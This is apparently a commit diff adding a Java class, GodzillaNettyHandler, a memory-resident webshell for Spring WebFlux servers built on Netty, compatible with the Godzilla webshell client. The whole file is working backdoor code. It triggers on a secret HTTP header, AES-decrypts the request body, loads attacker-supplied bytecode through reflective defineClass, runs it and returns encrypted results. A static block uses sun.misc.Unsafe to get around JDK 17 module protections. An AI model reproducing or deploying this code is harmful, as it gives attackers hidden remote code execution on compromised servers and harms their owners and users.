1
+ package com .reajason .javaweb .memshell .springwebflux .godzilla ;
2
+
3
+ import io .netty .buffer .Unpooled ;
4
+ import io .netty .channel .ChannelDuplexHandler ;
5
+ import io .netty .channel .ChannelFutureListener ;
6
+ import io .netty .channel .ChannelHandler ;
7
+ import io .netty .channel .ChannelHandlerContext ;
8
+ import io .netty .handler .codec .http .*;
9
+ import io .netty .util .CharsetUtil ;
10
+
11
+ import javax .crypto .Cipher ;
12
+ import javax .crypto .spec .SecretKeySpec ;
13
+ import java .io .ByteArrayOutputStream ;
14
+ import java .lang .reflect .Field ;
15
+ import java .lang .reflect .Method ;
16
+ import java .net .URL ;
17
+ import java .net .URLClassLoader ;
18
+ import java .net .URLDecoder ;
19
+ import java .nio .charset .StandardCharsets ;
20
+
21
+ @ ChannelHandler .Sharable
22
+ public class GodzillaNettyHandler extends ChannelDuplexHandler {
23
+ public static String key ;
24
+ public static String pass ;
25
+ public static String md5 ;
26
+ public static String headerName ;
27
+ public static String headerValue ;
28
+ private StringBuilder requestBody = new StringBuilder ();
29
+ private DefaultHttpRequest request ;
30
+ private static Class <?> payload ;
31
+
32
+ private static Class <?> defClass (byte [] classbytes ) throws Exception {
33
+ URLClassLoader urlClassLoader = new URLClassLoader (new URL [0 ], Thread .currentThread ().getContextClassLoader ());
34
+ Method method = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
35
+ method .setAccessible (true );
36
+ return (Class <?>) method .invoke (urlClassLoader , classbytes , 0 , classbytes .length );
37
+ }
38
+
39
+ public byte [] x (byte [] s , boolean m ) {
40
+ try {
41
+ Cipher c = Cipher .getInstance ("AES" );
42
+ c .init (m ? 1 : 2 , new SecretKeySpec (key .getBytes (), "AES" ));
43
+ return c .doFinal (s );
44
+ } catch (Exception e ) {
45
+ return null ;
46
+ }
47
+ }
48
+
49
+ @ Override
50
+ public void channelRead (ChannelHandlerContext ctx , Object msg ) throws Exception {
51
+ if (msg instanceof DefaultHttpRequest ) {
52
+ request = (DefaultHttpRequest ) msg ;
53
+ HttpHeaders headers = request .headers ();
54
+ String value = headers .get (headerName );
55
+ if (value == null || !value .equals (headerValue )) {
56
+ ctx .fireChannelRead (msg );
57
+ return ;
58
+ }
59
+ // 如果是当前 payload 进来不能调用 ctx.fireChannelRead(msg),不然的话下面不能拿到完整的 request body
60
+ }
61
+ if (msg instanceof HttpContent ) {
62
+ HttpContent httpContent = (HttpContent ) msg ;
63
+ HttpHeaders headers = request .headers ();
64
+ String value = headers .get (headerName );
65
+
66
+ // quick fail,防止其他哥斯拉马打进来走这个逻辑寄了
67
+ if (value == null || !value .equals (headerValue )) {
68
+ ctx .fireChannelRead (msg );
69
+ return ;
70
+ }
71
+
72
+ String content = httpContent .content ().toString (CharsetUtil .UTF_8 );
73
+ requestBody .append (content );
74
+ if (httpContent instanceof LastHttpContent ) {
75
+ try {
76
+ String base64Str = URLDecoder .decode (requestBody .substring (pass .length () + 1 ), "UTF-8" );
77
+ requestBody .setLength (0 );
78
+ byte [] data = x (base64Decode (base64Str ), false );
79
+ if (payload == null ) {
80
+ payload = defClass (data );
81
+ send (ctx , "" );
82
+ return ;
83
+ } else {
84
+ Object f = payload .newInstance ();
85
+ ByteArrayOutputStream arrOut = new ByteArrayOutputStream ();
86
+ f .equals (arrOut );
87
+ f .equals (data );
88
+ f .toString ();
89
+ send (ctx , md5 .substring (0 , 16 ) + base64Encode (x (arrOut .toByteArray (), true )) + md5 .substring (16 ));
90
+ }
91
+ return ;
92
+ } catch (Exception ignored ) {
93
+ }
94
+ }
95
+ ctx .fireChannelRead (msg );
96
+ }
97
+ }
98
+
99
+ @ SuppressWarnings ("all" )
100
+ public static String base64Encode (byte [] bs ) throws Exception {
101
+ String value = null ;
102
+ Class <?> base64 ;
103
+ try {
104
+ base64 = Class .forName ("java.util.Base64" );
105
+ Object encoder = base64 .getMethod ("getEncoder" , (Class <?>[]) null ).invoke (base64 , (Object []) null );
106
+ value = (String ) encoder .getClass ().getMethod ("encodeToString" , byte [].class ).invoke (encoder , bs );
107
+ } catch (Exception var6 ) {
108
+ try {
109
+ base64 = Class .forName ("sun.misc.BASE64Encoder" );
110
+ Object encoder = base64 .newInstance ();
111
+ value = (String ) encoder .getClass ().getMethod ("encode" , byte [].class ).invoke (encoder , bs );
112
+ } catch (Exception ignored ) {
113
+ }
114
+ }
115
+ return value ;
116
+ }
117
+
118
+ @ SuppressWarnings ("all" )
119
+ public static byte [] base64Decode (String bs ) {
120
+ byte [] value = null ;
121
+ Class <?> base64 ;
122
+ try {
123
+ base64 = Class .forName ("java.util.Base64" );
124
+ Object decoder = base64 .getMethod ("getDecoder" , (Class <?>[]) null ).invoke (base64 , (Object []) null );
125
+ value = (byte []) decoder .getClass ().getMethod ("decode" , String .class ).invoke (decoder , bs );
126
+ } catch (Exception var6 ) {
127
+ try {
128
+ base64 = Class .forName ("sun.misc.BASE64Decoder" );
129
+ Object decoder = base64 .newInstance ();
130
+ value = (byte []) decoder .getClass ().getMethod ("decodeBuffer" , String .class ).invoke (decoder , bs );
131
+ } catch (Exception ignored ) {
132
+ }
133
+ }
134
+ return value ;
135
+ }
136
+
137
+ private void send (ChannelHandlerContext ctx , String context ) throws Exception {
138
+ FullHttpResponse response = new DefaultFullHttpResponse (HttpVersion .HTTP_1_1 , HttpResponseStatus .OK , Unpooled .copiedBuffer (context , StandardCharsets .UTF_8 ));
139
+ response .headers ().set ("Content-Type" , "text/plain; charset=UTF-8" );
140
+ response .headers ().set (HttpHeaderNames .CONTENT_LENGTH , response .content ().readableBytes ());
141
+ ctx .channel ().writeAndFlush (response ).addListener (ChannelFutureListener .CLOSE );
142
+ }
143
+
144
+ static {
145
+ // webflux3 jdk17 bypass module
146
+ try {
147
+ Class <?> unsafeClass = Class .forName ("sun.misc.Unsafe" );
148
+ java .lang .reflect .Field unsafeField = unsafeClass .getDeclaredField ("theUnsafe" );
149
+ unsafeField .setAccessible (true );
150
+ Object unsafe = unsafeField .get (null );
151
+ Object module = Class .class .getMethod ("getModule" ).invoke (Object .class , (Object []) null );
152
+ java .lang .reflect .Method objectFieldOffsetM = unsafe .getClass ().getMethod ("objectFieldOffset" , Field .class );
153
+ Long offset = (Long ) objectFieldOffsetM .invoke (unsafe , Class .class .getDeclaredField ("module" ));
154
+ java .lang .reflect .Method getAndSetObjectM = unsafe .getClass ().getMethod ("getAndSetObject" , Object .class , long .class , Object .class );
155
+ getAndSetObjectM .invoke (unsafe , GodzillaNettyHandler .class , offset , module );
156
+ } catch (Exception ignored ) {
157
+ }
158
+ }
159
+ }
0 commit comments